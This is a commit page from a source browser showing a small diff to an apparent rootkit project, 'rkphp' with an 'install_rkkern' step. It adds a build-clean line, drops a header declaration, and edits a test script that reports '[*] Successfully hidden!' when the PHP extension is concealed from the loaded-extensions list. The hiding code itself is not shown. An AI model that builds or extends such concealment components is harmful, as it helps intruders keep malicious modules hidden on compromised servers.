Browse Source

Default

master
Root 5 years ago
parent
commit
b1e560455a
  1. 1
      install.sh
  2. 1
      rkphp/include/common.h
  3. 2
      rkphp/test.php

1
install.sh

@ -86,6 +86,7 @@ install_rkkern () @@ -86,6 +86,7 @@ install_rkkern ()
compile_rkphp_nodebug ()
{
cd rkphp
make clean &>/dev/null
phpize --clean &>/dev/null
phpize &>/dev/null
CONFIG_OUTPUT=$(./configure --with-rkphp &>../logs/rkphp.configure.log; cat ../logs/rkphp.configure.log)

1
rkphp/include/common.h

@ -24,7 +24,6 @@ @@ -24,7 +24,6 @@
#define RKPHP_VERSION "0.0.1"
extern HashTable module_registry;
extern zend_llist zend_extensions;
extern zend_module_entry rkphp_module_entry;
#define phpext_rkphp_me_ptr &rkphp_module_entry;

2
rkphp/test.php

@ -1,6 +1,6 @@ @@ -1,6 +1,6 @@
<?php
print_r(get_loaded_extensions());
//print_r(get_loaded_extensions());
if(!extension_loaded("rkphp.so"))
printf("[*] Successfully hidden!" . PHP_EOL);

Loading…
Cancel
Save